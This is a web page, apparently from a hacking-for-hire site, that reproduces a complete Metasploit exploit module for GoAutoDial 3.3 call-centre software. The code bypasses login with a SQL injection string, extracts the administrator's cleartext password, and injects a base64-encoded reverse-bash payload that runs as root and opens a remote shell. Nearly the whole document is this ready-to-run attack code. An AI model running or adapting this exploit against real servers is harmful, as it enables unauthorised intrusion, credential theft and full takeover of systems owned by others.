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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info={})
    super(update_info(info,
      'Name'           => "GoAutoDial 3.3 Authentication Bypass / Command Injection",
      'Description'    => %q{
          This module exploits a SQL injection flaw in the login functionality for GoAutoDial version 3.3-1406088000 and below, and attempts to perform command injection. This also attempts to retrieve the admin user details, including the cleartext password stored in the underlying database. Command injection will be performed with root privileges. The default pre-packaged ISO builds are available from goautodial.org. Currently, the hardcoded command injection payload is an encoded reverse-tcp bash one-liner and the handler should be setup to receive it appropriately.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Chris McCurley',  # Discovery & Metasploit module
        ],
      'References'     =>
        [
          ['CVE', '2015-2843'],
          ['CVE', '2015-2845']
        ],
      'Platform'       => %w{unix},
      'Arch'            => ARCH_CMD,
      'Targets'        => [ ['Automatic', {} ] ],
      'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' },
      'DefaultTarget'  => 0,
      'Privileged'     => false,
      'DisclosureDate' => 'Apr 21 2015'))

    register_options(
      [
        OptPort.new('RPORT', [true, 'The target port', 443]),
        OptBool.new('SSL', [false, 'Use SSL', true]),
        OptString.new('TARGETURI', [true, 'The base path', '/'])
      ])
  end


  def check
    res = check_version()
    if res and res.body =~ /1421902800/
      return Exploit::CheckCode::Safe
    else
      return Exploit::CheckCode::Vulnerable
    end
  end

  def check_version()
    uri = target_uri.path

    send_request_cgi({
      'method'    => 'GET',
      'uri'       => normalize_uri(uri, 'changelog.txt'),
      'headers'   => {
        'User-Agent' => 'Mozilla/5.0',
        'Accept-Encoding' => 'identity'
      }
    })
  end

  def sqli_auth_bypass()
    uri = target_uri.path

    send_request_cgi({
      'method'    => 'POST',
      'uri'       => normalize_uri(uri, 'index.php', 'go_login', 'validate_credentials'),
      'headers'   => {
        'User-Agent' => 'Mozilla/5.0',
        'Accept-Encoding' => 'identity'
      },
      'vars_post' => {
        'user_name'   => 'admin',
        'user_pass'   => '\'%20or%20\'1\'%3D\'1'
      }
    })
  end

  def sqli_admin_pass(cookies)
   uri = target_uri.path

   send_request_cgi({
      'method'    => 'GET',
      'uri'       => normalize_uri(uri, 'index.php', 'go_site', 'go_get_user_info', '\'%20OR%20active=\'Y'),
      'headers'   => {
        'User-Agent' => 'Mozilla/5.0',
        'Accept-Encoding' => 'identity',
        'Cookie' => cookies
      }
    })
  end

  #
  # Run the actual exploit
  #
  def execute_command()

    encoded = Rex::Text.encode_base64("#{payload.encoded}")
    params = "||%20bash%20-c%20\"eval%20`echo%20-n%20" + encoded + "%20|%20base64%20--decode`\""
    uri = target_uri.path

    send_request_cgi({
      'method'    => 'GET',
      'uri'       => normalize_uri(uri, 'index.php', 'go_site', 'cpanel', params),
      'headers'   => {
        'User-Agent' => 'Mozilla/5.0',
        'Accept-Encoding' => 'identity',
        'Cookie' => @cookie
      }
    })
  end


  def exploit()
    print_status("#{rhost}:#{rport} - Trying SQL injection...")
    res1 = sqli_auth_bypass()

    if res1 && res1.code == 200
      print_good('Authentication Bypass (SQLi) was successful')
    else
      print_error('Error: Run \'check\' command to identify whether the auth bypass has been fixed')
    end

    @cookie = res1.get_cookies
    print_status("#{rhost}:#{rport} - Dumping admin password...")
    res = sqli_admin_pass(@cookie)

    if res
      print_good(res.body)
    else
      print_error('Error: No creds returned, possible mitigations are in place.')
    end
    print_status("#{rhost}:#{rport} - Sending payload...waiting for connection")

    execute_command()
  end
end